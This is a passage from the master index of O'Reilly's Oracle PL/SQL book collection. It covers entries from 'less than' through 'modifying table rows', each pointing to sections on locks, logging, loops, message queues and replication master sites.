less than (<=) operator: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
level (in DESCRIBE_PROCEDURE): 10.2.2.2. The DESCRIBE level, Oracle Built-in Packages
lexical units, PL/SQL: 2.1. The PL/SQL Character Set, Oracle PL/SQL Programming
libraries
1.2.2. The Client-Side Layers, Advanced Oracle PL/SQL Programming with Packages
1.5.2. Prebuilt Packages, Advanced Oracle PL/SQL Programming with Packages
dropping: 21.3.3. DROP: Dropping Libraries, Oracle PL/SQL Programming
lifo constant: 5.24.1. Package constants, Advanced Oracle PL/SQL Programming with Packages
limit_ps procedure: 17.4.2. Setting the Page Size, Advanced Oracle PL/SQL Programming with Packages
line breaks: (see whitespace)
line function
5.11.9. Reading from a file, Advanced Oracle PL/SQL Programming with Packages
13.5.2. Reading the nth Line, Advanced Oracle PL/SQL Programming with Packages
line limit, WHERE clause: 12.4.3. Setting a Line Limit, Advanced Oracle PL/SQL Programming with Packages
line numbers, code
15.3. Displaying Source Code, Advanced Oracle PL/SQL Programming with Packages
23.6.6. Finding the Code for a Line Number, Oracle PL/SQL Programming
line prefix: 5.2.3. Setting the line prefix, Advanced Oracle PL/SQL Programming with Packages
line procedure
5.4.2. Case-converting programs, Advanced Oracle PL/SQL Programming with Packages
18.1.1.3. Converting a line, Advanced Oracle PL/SQL Programming with Packages
line separator
5.2.2. Setting the line separator, Advanced Oracle PL/SQL Programming with Packages
7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
line_type record: 5.15.2. Package records, Advanced Oracle PL/SQL Programming with Packages
line_with function: 5.15.5. Managing the source WHERE clause, Advanced Oracle PL/SQL Programming with Packages
line_with_text function: 6.2.7.4. Searching a file for a string, Oracle Built-in Packages
lines, changing case of: 18.1.1.3. Converting a line, Advanced Oracle PL/SQL Programming with Packages
linesep function
5.2.2. Setting the line separator, Advanced Oracle PL/SQL Programming with Packages
7.2. The Line Separator, Advanced Oracle PL/SQL Programming with Packages
linetext.sf : 6.2.7.4. Searching a file for a string, Oracle Built-in Packages
links: 1.2.1.2. Keeping sites up to date, Oracle Web Applications
links library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
links.sql : 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure, Oracle Built-in Packages
list of bailout errors: 22.1.10.1. Managing the bailout error list, Advanced Oracle PL/SQL Programming with Packages
list_full exception: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
list_undefined exception: 5.18.1. Package exceptions, Advanced Oracle PL/SQL Programming with Packages
listener for external procedures: 21.2.1. Step 1: Set Up the Listener, Oracle PL/SQL Programming
lists: 5.18. PLVlst: List Manager, Advanced Oracle PL/SQL Programming with Packages
copying file to: 5.11.11. Copying a file, Advanced Oracle PL/SQL Programming with Packages
copying files to: 13.7.3. Copying File to List, Advanced Oracle PL/SQL Programming with Packages
lists of values library, WebDB: 3.1.2.3. Building shared components, Oracle Web Applications
literals
1.6.1.4. Remove hard-coded literals from your application, Advanced Oracle PL/SQL Programming with Packages
3.12. Obliterating the Literals, Advanced Oracle PL/SQL Programming with Packages
2.3. Literals, Oracle PL/SQL Programming
4.7.4. Use Named Constants to Avoid Hardcoding Values, Oracle PL/SQL Programming
16.3.1.2. A package of magic values, Oracle PL/SQL Programming
PLV package: 6.6. The Predefined Constants, Advanced Oracle PL/SQL Programming with Packages
strings: (see strings)
user awareness of: 2.5.3. Avoiding Need for User to Know and Pass Literals, Advanced Oracle PL/SQL Programming with Packages
ln procedure: 6.1.6.2. Package specification for a DBMS_OUTPUT encapsulator, Oracle Built-in Packages
load_from_dbms procedure
5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
9.2.2. Batch Loading of Message Text, Advanced Oracle PL/SQL Programming with Packages
9.6. Implementing load_ from_dbms, Advanced Oracle PL/SQL Programming with Packages
load_my_session_rec procedure
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.3. The load_my_session_rec procedure, Oracle Built-in Packages
load_unique_id procedure
11.1.5.1. Adding value to DBMS_SESSION, Oracle Built-in Packages
11.1.5.2. The unique_id function, Oracle Built-in Packages
load_unused procedure: 12.1.3.1. The segspace package, Oracle Built-in Packages
loaded java elements, examining: 9.6.2. Examining Loaded Java Elements, Guide to Oracle8i Features
loading message text: 9.2.2. Batch Loading of Message Text, Advanced Oracle PL/SQL Programming with Packages
loadjava utility
9.1. Oracle8i and Java, Guide to Oracle8i Features
9.4. Using loadjava, Guide to Oracle8i Features
lob_loc, CREATETEMPORARY procedure: 7.5.2.1. CREATETEMPORARY: Creating a temporary LOB, Guide to Oracle8i Features
lobfuncs.ddl : 8.1.4. About the Examples, Oracle Built-in Packages
lobtabs.ddl : 8.1.4. About the Examples, Oracle Built-in Packages
local modules
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
15.7. Local Modules, Oracle PL/SQL Programming
22.3. Take Full Advantage of Local Modularization, Oracle PL/SQL Programming
forward declarations of: 15.9. Forward Declarations, Oracle PL/SQL Programming
scope of: 15.7.5. Scope of Local Modules, Oracle PL/SQL Programming
local variables
objects for: 18.1.2. Some Simple Examples, Oracle PL/SQL Programming
performance and: 25.4.3. Rely on Local Variables to Improve Performance, Oracle PL/SQL Programming
local variables, normalizing: 4.5.1.2. Normalization of local variables, Oracle PL/SQL Programming
location transparency: 2.5.3.2. Object privileges, Oracle Web Applications
lock identifiers: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
lock modes
compatibility rules: 4.1.1.3. Lock compatibility rules, Oracle Built-in Packages
converting modes: 4.1.2.3. The DBMS_LOCK.CONVERT function, Oracle Built-in Packages
lock names: (see named locks)
lock1.sql : 4.1.3.3. Performance of named locks, Oracle Built-in Packages
lockhandle function: 4.1.4.1. The dblock package, Oracle Built-in Packages
lockhandles, returning: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
locking records
6.11. SELECT FOR UPDATE in Cursors, Oracle PL/SQL Programming
with DBMS_LOCK: (see DBMS_LOCK package)
locking tables: (see table locks)
locks: 2.1. Transaction Management in PL/SQL, Guide to Oracle8i Features
BFILE loading and: 8.3.1.7. The DBMS_LOB.LOADFROMFILE procedure, Oracle Built-in Packages
DDL statement execution and: 2.4.7. Executing DDL in PL/SQL, Oracle Built-in Packages
alert signaling and: 3.2.2.5. The DBMS_ALERT.SIGNAL procedure, Oracle Built-in Packages
allocating: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
commitment: (see commitment, locks)
converting versus requesting: 4.1.3.6. REQUEST or CONVERT?, Oracle Built-in Packages
deadlock notification: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
dequeuing and: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
handles for: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
identifiers for: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
modes: (see lock modes)
named locks: (see named locks)
object locking: 9.2.5.2. The UTL_REF.LOCK_OBJECT procedure, Oracle Built-in Packages
persistence of: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
releasing: 4.1.2.4. The DBMS_LOCK.RELEASE function, Oracle Built-in Packages
distributed databases and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
multithreaded server environments and: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
requesting: 4.1.2.2. The DBMS_LOCK.REQUEST function, Oracle Built-in Packages
signaling service availability (example): 4.1.4.2. Using locks to signal service availability, Oracle Built-in Packages
suspending sessions: 4.1.2.5. The DBMS_LOCK.SLEEP procedure, Oracle Built-in Packages
triggers and
4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
4.1.3.4. ALLOCATE_UNIQUE drawbacks, Oracle Built-in Packages
view for: 4.1.2.1. The DBMS_LOCK.ALLOCATE_UNIQUE procedure, Oracle Built-in Packages
log procedure: 21.1.2.1. Using put_line, Advanced Oracle PL/SQL Programming with Packages
logging
2.6.3. Changing Package Behavior Without Changing the Application, Advanced Oracle PL/SQL Programming with Packages
5.17. PLVlog: Logging Facility, Advanced Oracle PL/SQL Programming with Packages
21. PLVlog and PLVtrc: Logging and Tracing, Advanced Oracle PL/SQL Programming with Packages
21.1.2.1. Using put_line, Advanced Oracle PL/SQL Programming with Packages
commit activity: 5.7.2. Logging commit activity, Advanced Oracle PL/SQL Programming with Packages
commits: 20.1.5. Logging Commits , Advanced Oracle PL/SQL Programming with Packages
exceptions
5.10.3. Logging exception-handling activity, Advanced Oracle PL/SQL Programming with Packages
22.3.3.3. Recording the exception, Advanced Oracle PL/SQL Programming with Packages
hard-coding with exceptions: 22.3.2.2. Drawbacks of the usual handlers, Advanced Oracle PL/SQL Programming with Packages
rollbacks
5.23.2. Logging rollback activity, Advanced Oracle PL/SQL Programming with Packages
20.2.2. Logging Rollbacks , Advanced Oracle PL/SQL Programming with Packages
trace activity: 5.28.3. Writing to the PL/Vision log, Advanced Oracle PL/SQL Programming with Packages
trace messages: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
logging errors
22.1.7.1. Logging errors, Advanced Oracle PL/SQL Programming with Packages
example of: 2.5.1. Building an Autonomous Logging Mechanism, Guide to Oracle8i Features
logging function: 21.2.1. Directing Output from PLVtrc, Advanced Oracle PL/SQL Programming with Packages
logging level parameter, server settings: 3.2.3.1. Server settings, Oracle Web Applications
logging mechanisms
1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
2.3. When to Use Autonomous Transactions, Guide to Oracle8i Features
logic, conditional
A.1.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
A.2.1. Conditional Logic, Advanced Oracle PL/SQL Programming with Packages
logical datatype: (see Boolean datatype)
logical structure: 3.1.1. Revealing Logical Structure with Indentation, Oracle PL/SQL Programming
logical unit of work, registering: 7.2.3. The DBMS_APPLICATION_INFO.SET_ACTION procedure, Oracle Built-in Packages
login procedure, FORUM_USERS package
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
login.sql file: 4.4.2. A PL/Vision Initialization Script for SQL*Plus, Advanced Oracle PL/SQL Programming with Packages
login_form procedure
8.3.5. The FORUM_USERS Package, Oracle Web Applications
8.3.5.2. Body, Oracle Web Applications
logins, tracking database: 6.2.1.2. Tracking logins to the database, Guide to Oracle8i Features
logtype function: 5.17.3. Selecting the log type, Advanced Oracle PL/SQL Programming with Packages
long SQL statements, parsing
2.2.6. DBMS_SQL Nonprogram Elements, Oracle Built-in Packages
2.3.3.2. Parsing very long SQL statements, Oracle Built-in Packages
long-running operations
7.1.3. DBMS_APPLICATION_INFO Nonprogram Elements, Oracle Built-in Packages
7.2.6. The DBMS_APPLICATION_INFO.SET_SESSION_LONGOPS procedure, Oracle Built-in Packages
7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
longops package
(see also specific program names)
1.3.5.1. Examples of encapsulation packages, Oracle Built-in Packages
7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
longops.sql : 7.3.9. Tracking Long-Running Processes, Oracle Built-in Packages
loop index: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
naming: 7.7.1. Naming Loop Indexes , Oracle PL/SQL Programming
nontrivial increments: 7.3.3. Handling Nontrivial Increments, Oracle PL/SQL Programming
using REVERSE: 7.3.1. Rules for Numeric FOR Loops, Oracle PL/SQL Programming
with loop scope: 7.6.2.1. Scope in FOR loops, Oracle PL/SQL Programming
loop scope: 7.6.2.2. Scope with labels, Oracle PL/SQL Programming
loopexec procedure
5.20.6. Programmatic cursor FOR loop elements, Advanced Oracle PL/SQL Programming with Packages
11.7. A Programmatic Cursor FOR Loop, Advanced Oracle PL/SQL Programming with Packages
loops
A.1.2. Loops, Advanced Oracle PL/SQL Programming with Packages
A.2.2. Loops, Advanced Oracle PL/SQL Programming with Packages
2.2. Using Effective Coding Style for Packages, Advanced Oracle PL/SQL Programming with Packages
7. Loops, Oracle PL/SQL Programming
FOR loop
1.7.1. Write as Little Code as Possible, Oracle PL/SQL Programming
1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
GOTO statements within: 7.7.2.4. GOTO statements inside a loop, Oracle PL/SQL Programming
PL/SQL: 6.2.4. Loops, Oracle Web Applications
REPEAT UNTIL: 7.2.2. Emulating a REPEAT UNTIL Loop, Oracle PL/SQL Programming
RETURN statement within: 7.7.2.3. RETURN statement, Oracle PL/SQL Programming
WHILE: 7.5. The WHILE Loop, Oracle PL/SQL Programming
cursor FOR
1.6.4. The cursor FOR loop, Oracle PL/SQL Programming
7.4. The Cursor FOR Loop, Oracle PL/SQL Programming
exiting: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
filling table rows with: 10.6.2. Iterative Assignment , Oracle PL/SQL Programming
formatting: 3.3.2. Formatting Loops, Oracle PL/SQL Programming
labels for: 7.6.1. Loop Labels, Oracle PL/SQL Programming
numeric FOR: 7.3. The Numeric FOR Loop, Oracle PL/SQL Programming
scope of: 7.6.2. Loop Scope, Oracle PL/SQL Programming
simple: 7.2. The Simple Loop, Oracle PL/SQL Programming
terminating with labels: 7.6.1.2. Loop termination using labels, Oracle PL/SQL Programming
lower_bound variable: 5.2. Bulk DML with the FORALL Statement, Guide to Oracle8i Features
lowercase: (see case)

Symbols | A | B | C | D | E | F | G | H | I | J | K | L | M | N | O | P | Q | R | S | T | U | V | W | X | Y | Z

Copyright © 2000 O'Reilly & Associates, Inc. All rights reserved.


Master Index: M

Index: M

MAKE procedure
14.2.1. Getting Started with DBMS_REFRESH, Oracle Built-in Packages
14.2.2.1. The DBMS_REFRESH.MAKE procedure, Oracle Built-in Packages
MAKE_COLUMN_GROUP procedure
16.1.1. DBMS_REPCAT Programs, Oracle Built-in Packages
16.2.2.3. The DBMS_REPCAT.MAKE_COLUMN_GROUP procedure, Oracle Built-in Packages
MAKE_DATA_BLOCK_ADDRESS function
10.1.1. Getting Started with DBMS_UTILITY, Oracle Built-in Packages
10.1.2.16. The DBMS_UTILITY.MAKE_DATA_BLOCK_ADDRESS function, Oracle Built-in Packages
MAKE_REF function
20.3.3. MAKE_REF: Returning a Virtual REF, Oracle PL/SQL Programming
DECODE function in: 20.4.2.3. Working around the ORA-22972 problem, Oracle PL/SQL Programming
MANAGE_ANY option, GRANT_SYSTEM_PRIVILEGE procedure: 7.6.2.1. GRANT_SYSTEM_PRIVILEGE: Granting system-level privileges, Guide to Oracle8i Features
MAP methods: 18.3.6.1. The MAP and ORDER methods, Oracle PL/SQL Programming
MATCH function, OWA_PATTERN package: 7.2.2.3. Procedures and functions, Oracle Web Applications
MAXLEN property
21.4.1. Datatype Conversion, Oracle PL/SQL Programming
21.4.3.3. MAXLEN property, Oracle PL/SQL Programming
MIGRATE_QUEUE_TABLE procedure, DBMS_AQADM package: 7.6.1. CREATE_QUEUE_TABLE and MIGRATE_QUEUE_TABLE: Setting Version Compatibility and Queue Migration, Guide to Oracle8i Features
MIME (Multipurpose Internet Mail Extensions): 2.2.6. The Resource MIME Type, Oracle Web Applications
MIME type, WebDB: 3.2.3.3. MIME type mappings, Oracle Web Applications
MIME_HEADER procedure: 7.4.1.4. HTML and HTTP utilities, Oracle Web Applications
MOD function
20.1.1.4. Getting back on track, Advanced Oracle PL/SQL Programming with Packages
13.1.13. The MOD function, Oracle PL/SQL Programming
MONITOR tool: 25.1. Analyzing Program Performance, Oracle PL/SQL Programming
MONTHS_BETWEEN function: 12.1.3. The MONTHS_BETWEEN function, Oracle PL/SQL Programming
MPEG format
2.1. Resources, Oracle Web Applications
1.3.9.2. Multimedia data, Oracle Web Applications
MS-DOS delimiter: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
MTS (multithreaded server): 7.2.2. DBMS_TRACE Programs , Guide to Oracle8i Features
MULTISET pseudo-function: 19.5.3. The MULTISET Pseudo-function, Oracle PL/SQL Programming
Maximum Number of Worker Threads parameter, DAD: 3.2.2.1. DAD parameters, Oracle Web Applications
Method 4 dynamic SQL
(see also dynamic SQL, Method 4)
4.1. DBMS_SQL Versus NDS, Guide to Oracle8i Features
Microsoft
Excel: 1.3.9.1. Text data, Oracle Web Applications
FrontPage: 1.3.9.2. Multimedia data, Oracle Web Applications
Internet Explorer: 2.2.4. The Web Browser, Oracle Web Applications
Outlook
1.3.1. The Internet File System, Oracle Web Applications
1.3.8.2. EnterpriseSync Lite, Oracle Web Applications
PowerPoint: 1.3.9.1. Text data, Oracle Web Applications
Windows 95: 2.2.1. The TCP/IP Network, Oracle Web Applications
Windows 98: 2.2.1. The TCP/IP Network, Oracle Web Applications
Windows NT: 2.2.1. The TCP/IP Network, Oracle Web Applications
access: 1.3.8.1. Oracle Lite, Oracle Web Applications
Microsoft Transact-SQL: 1.2. And Then There's Java, Guide to Oracle8i Features
Microsoft Windows NT
7.1.2. Installing DBMS_PROFILER, Guide to Oracle8i Features
7.2.4. Format of Collected Data , Guide to Oracle8i Features
7.2.1. Installing DBMS_TRACE, Guide to Oracle8i Features
magic values: 16.3.1.2. A package of magic values, Oracle PL/SQL Programming
hard-coding: 1.7.5. Structured Code and Other Best Practices, Oracle PL/SQL Programming
mail
C.8. DBMS_MAIL, Oracle PL/SQL Programming
sending with external procedures: 21.7.2. Example: Sending Email, Oracle PL/SQL Programming
mailboxes: (see message buffers)
main transactions: 1.3.1. Autonomous Transactions (Chapter 2, Choose Your Transaction!), Guide to Oracle8i Features
maintaining state: 7.3. Maintaining State, Oracle Web Applications
major_pkg package
(see also specific program names)
5.7.8. Working with Multiple Consumers, Oracle Built-in Packages
make procedure: 5.18.2. Creating and destroying lists, Advanced Oracle PL/SQL Programming with Packages
make_payment procedure: 5.7.5. Searching by Correlation Identifier, Oracle Built-in Packages
makepipe function: 3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
managing temporary LOBs: 7.5.2.5. Managing temporary LOBs, Guide to Oracle8i Features
managing work queue (example): 6.13.2. Managing a Work Queue with SELECT FOR UPDATE, Oracle PL/SQL Programming
manual records: 9.6.1.1. Manual records, Oracle PL/SQL Programming
mark_for_sale procedure: 5.7.6. Using Time Delay and Expiration, Oracle Built-in Packages
master databases: (see master sites)
master definition site: 15.3.2.1. The DBMS_REPCAT.CREATE_MASTER_REPGROUP procedure, Oracle Built-in Packages
concepts: 15.3.5. Adding and Removing Master Sites with DBMS_REPCAT, Oracle Built-in Packages
relocating: 15.3.5.4. The DBMS_REPCAT.RELOCATE_MASTERDEF procedure, Oracle Built-in Packages
master sites
(see also master definition site; replicated; and replication)
1.3.8. InternetLite, Oracle Web Applications
15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure, Oracle Built-in Packages
adding: 15.3.5.1. The DBMS_REPCAT.ADD_MASTER_DATABASE procedure, Oracle Built-in Packages
comments, adding or changing: 15.3.5.3. The DBMS_REPCAT.COMMENT_ON_REPSITES procedure, Oracle Built-in Packages
definition and concepts: 15.3.5. Adding and Removing Master Sites with DBMS_REPCAT, Oracle Built-in Packages
dropping replication groups and: 15.3.2.2. The DBMS_REPCAT.DROP_MASTER_REPGROUP procedure, Oracle Built-in Packages
instantiation: 15.4. DBMS_OFFLINE_OG: Performing Site Instantiation, Oracle Built-in Packages
beginning import: 15.4.2.2. The DBMS_OFFLINE_OG.BEGIN_LOAD procedure, Oracle Built-in Packages
beginning instantiation: 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure, Oracle Built-in Packages
difference rectification versus: 15.5.2.2. The DBMS_RECTIFIER_DIFF.RECTIFY procedure, Oracle Built-in Packages
ending import: 15.4.2.4. The DBMS_OFFLINE_OG.END_LOAD procedure, Oracle Built-in Packages
ending instantiation: 15.4.2.3. The DBMS_OFFLINE_OG.END_INSTANTIATION procedure, Oracle Built-in Packages
process steps: 15.4.2.1. The DBMS_OFFLINE_OG.BEGIN_INSTANTIATION procedure, Oracle Built-in Packages
resuming replication activity: 15.4.2.5. The DBMS_OFFLINE_OG.RESUME_SUBSET_OF_MASTERS procedure, Oracle Built-in Packages
resynchronizing object identifiers: 15.3.8.1. The DBMS_REPCAT.REPCAT_IMPORT_CHECK procedure, Oracle Built-in Packages
remote destinations and: 17.1.1. About Remote Destinations, Oracle Built-in Packages
removing: 15.3.5.2. The DBMS_REPCAT.REMOVE_MASTER_DATABASES procedure, Oracle Built-in Packages
switching snapshot replication groups: 14.4.6.1. The DBMS_REPCAT.SWITCH_SNAPSHOT_MASTER procedure, Oracle Built-in Packages
mastsnap.sql : 14.1.6.2. The DBMS_SNAPSHOT.UNREGISTER_SNAPSHOT procedures (Oracle8 only), Oracle Built-in Packages
max_line variable: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
max_line_size constant: 5.11.1. Package constants and exceptions, Advanced Oracle PL/SQL Programming with Packages
max_row function: 5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
max_varchar2 variable
5.3.2. Anchoring datatypes, Advanced Oracle PL/SQL Programming with Packages
6.5. The Predefined Datatypes, Advanced Oracle PL/SQL Programming with Packages
member methods: 18.3.1. About Object Types, Oracle PL/SQL Programming
memory
PL/Vision package requirements: 4.3.2. Storage Requirements, Advanced Oracle PL/SQL Programming with Packages
SGA (System Global Area)
pinning critical code in: 25.2.2. Pin Critical Code into the SGA, Oracle PL/SQL Programming
tuning shared pool size: 25.2.1. Tune the Size of the Shared Pool of the SGA, Oracle PL/SQL Programming
VSIZE function: 13.3.10. The VSIZE function, Oracle PL/SQL Programming
analyzing size of code: 23.6.3. Analyzing the Size of PL/SQL Code, Oracle PL/SQL Programming
and conditional control statements: 5.1.4. Nested IF Statements, Oracle PL/SQL Programming
bulk collection: 5.3.1. Restricting Bulk Collection with ROWNUM , Guide to Oracle8i Features
cursor reuse and: 2.4.4. Minimizing Memory for Cursors, Oracle Built-in Packages
determining free disk space (example): 21.1.1. Example: Determining Free Disk Space on Windows NT, Oracle PL/SQL Programming
freeing user memory: 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure, Oracle Built-in Packages
resetting package variables and: 11.1.4.3. The DBMS_SESSION.RESET_PACKAGE procedure, Oracle Built-in Packages
measuring usage: 11.1.5.8. The memory procedure, Oracle Built-in Packages
memory-based architecture of code: 23.1.3. Memory-Based Architecture of PL/SQL Code , Oracle PL/SQL Programming
package architecture: 1.4.3. The Memory-Resident Architecture of Packages, Advanced Oracle PL/SQL Programming with Packages
reducing package variables usage: 25.2.5. Reducing Memory Usage of Package Variables, Oracle PL/SQL Programming
shared: 1.4.3.1. Managing packages in shared memory, Advanced Oracle PL/SQL Programming with Packages
tables and use of: 11.1.4.2. The DBMS_SESSION.FREE_UNUSED_USER_MEMORY procedure, Oracle Built-in Packages
used by open cursors: 6.8. Closing Cursors, Oracle PL/SQL Programming
memory procedure: 11.1.5.8. The memory procedure, Oracle Built-in Packages
menu wizard, WebDB: 3.1.2.2. Building user interface components , Oracle Web Applications
message, elapsed time display: 14.3.1. elapsed_message Function, Advanced Oracle PL/SQL Programming with Packages
message buffers
(see also DBMS_PIPE package; messages (pipes)
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
3.1.2.1. Memory structures, Oracle Built-in Packages
compressed data in
3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure, Oracle Built-in Packages
3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
encrypted data in: 3.1.4.2. The DBMS_PIPE.PACK_MESSAGE_RAW procedure, Oracle Built-in Packages
exception handling and
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
3.1.6.5. Using RESET_BUFFER, Oracle Built-in Packages
resetting
3.1.3.3. The DBMS_PIPE.RESET_BUFFER procedure, Oracle Built-in Packages
3.1.6.5. Using RESET_BUFFER, Oracle Built-in Packages
message groups
5.1.2. Enqueue Features, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
dequeuing and: 5.4.2.6. Dequeuing with message grouping, Oracle Built-in Packages
example of use: 5.7.7. Working with Message Groups, Oracle Built-in Packages
message identifiers
5.1.5. A Glossary of Terms, Oracle Built-in Packages
5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
message properties record type: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
message queues: (see queues)
messages
5.19. PLVmsg: Message Handling, Advanced Oracle PL/SQL Programming with Packages
9. PLVmsg: Single-Sourcing PL/SQL Message Text, Advanced Oracle PL/SQL Programming with Packages
error: 22.1.6.4. Defining error messages with PLVmsg, Advanced Oracle PL/SQL Programming with Packages
trace: (see tracing)
messages (AQ)
(see also queues)
5.1. Oracle AQ Concepts, Oracle Built-in Packages
5.1.5. A Glossary of Terms, Oracle Built-in Packages
broadcasting: (see broadcasting)
browsing
5.1.3. Dequeue Features, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
example: 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
correlation identifiers: (see correlation identifiers)
data typing: 5.1.1. General Features, Oracle Built-in Packages
dequeuing: (see dequeuing)
enqueuing: (see enqueuing)
expiration time: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
funneling in: 5.1.4. Propagation Features, Oracle Built-in Packages
groups: (see message groups)
identifiers
5.1.5. A Glossary of Terms, Oracle Built-in Packages
5.3.7. Enqueue Options Record Type, Oracle Built-in Packages
5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
modifying properties of (example): 5.4.1.2. Examples, Oracle Built-in Packages
next message received: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
object types for: 5.3.3. Queue Type Names, Oracle Built-in Packages
obtaining information about (example): 5.4.1.2. Examples, Oracle Built-in Packages
order of in queues
5.1.2. Enqueue Features, Oracle Built-in Packages
5.5.1.2. The DBMS_AQADM.CREATE_QUEUE_TABLE procedure, Oracle Built-in Packages
priority
5.3.6. Message Properties Record Type, Oracle Built-in Packages
5.4.2.5. Dequeue navigation, Oracle Built-in Packages
propagating: (see propagating messages)
retention of: 5.1.1. General Features, Oracle Built-in Packages
rollback and: 5.1.3. Dequeue Features, Oracle Built-in Packages
scheduling processing of: 5.1.2. Enqueue Features, Oracle Built-in Packages
states of: 5.3.6. Message Properties Record Type, Oracle Built-in Packages
statistics, views for: 5.6.2.4. The GV$AQ and V$AQ dynamic statistics views, Oracle Built-in Packages
tables and: 5.1.1. General Features, Oracle Built-in Packages
waiting for: 5.3.8. Dequeue Options Record Type, Oracle Built-in Packages
messages (pipes)
(see also DBMS_PIPE package; message buffers; pipes)
3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
buffers for: (see message buffers)
data typing: 3.1.6.1. Defining message types and encapsulating communications logic, Oracle Built-in Packages
datatype values, returning: 3.1.4.7. The DBMS_PIPE.NEXT_ITEM_TYPE function, Oracle Built-in Packages
examining: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
forwarding to another pipe: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
logging: 3.1.7.4. Implementing a server program, Oracle Built-in Packages
packing: 3.1.4.1. The DBMS_PIPE.PACK_MESSAGE procedure, Oracle Built-in Packages
private pipes
3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
3.1.3.1. The DBMS_PIPE.CREATE_PIPE function, Oracle Built-in Packages
public pipes: 3.1. DBMS_PIPE: Communicating Between Sessions , Oracle Built-in Packages
receiving: 3.1.5.2. The DBMS_PIPE.RECEIVE_MESSAGE function, Oracle Built-in Packages
sending: 3.1.5.1. The DBMS_PIPE.SEND_MESSAGE function, Oracle Built-in Packages
relationship to unpacking: 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
separating for specific recipients: 3.1.6.2. Separating messages, Oracle Built-in Packages
unpacking: 3.1.4.4. The DBMS_PIPE.UNPACK_MESSAGE procedure, Oracle Built-in Packages
memory required for: 3.1.7.3. The dbpipe utility package, Oracle Built-in Packages
relationship to sending: 3.1.7.2. Exploring DBMS_PIPE , Oracle Built-in Packages
messages about debugging: 24.2.9. Build Debugging Messages into Your Packages, Oracle PL/SQL Programming
metadata: 1.2.1.1. Finding what you need, Oracle Web Applications
metainformation: 5.1.2.3. A sample document, Oracle Web Applications
methods: 18.1.1. Terminology, Oracle PL/SQL Programming
dot notation for: 18.3.4.2. Dots in method invocations, Oracle PL/SQL Programming
for collections, built-in: 19.6. Collection Built-Ins, Oracle PL/SQL Programming
modifying persistent objects: 18.5.2. Approach 2: Define Methods and Permit Limited Use of Conventional SQL, Oracle PL/SQL Programming
types of: 18.3.1. About Object Types, Oracle PL/SQL Programming
methods for dynamic SQL: 2.2.4. Types of Dynamic SQL, Oracle Built-in Packages
min_row function: 5.19.2. Managing and accessing message text, Advanced Oracle PL/SQL Programming with Packages
minimizing trace output: 7.2.3. Controlling Trace File Contents, Guide to Oracle8i Features
minute: (see date and time)
mobile applications: 1.1. The Internet Grows Up, Oracle Web Applications
mode, file: 13.1.3. File Location, Name, and Mode, Advanced Oracle PL/SQL Programming with Packages
mode_name function: 5.7.4. Browsing a Queue's Contents, Oracle Built-in Packages
modes, PL/SQL: 6.1.3. Parameters, Oracle Web Applications
modes, cursor parameters: 6.10.4. Cursor Parameter Modes , Oracle PL/SQL Programming
modifying table rows: 10.5. Referencing and Modifying PL/SQL Table Rows, Oracle PL/SQL Programming
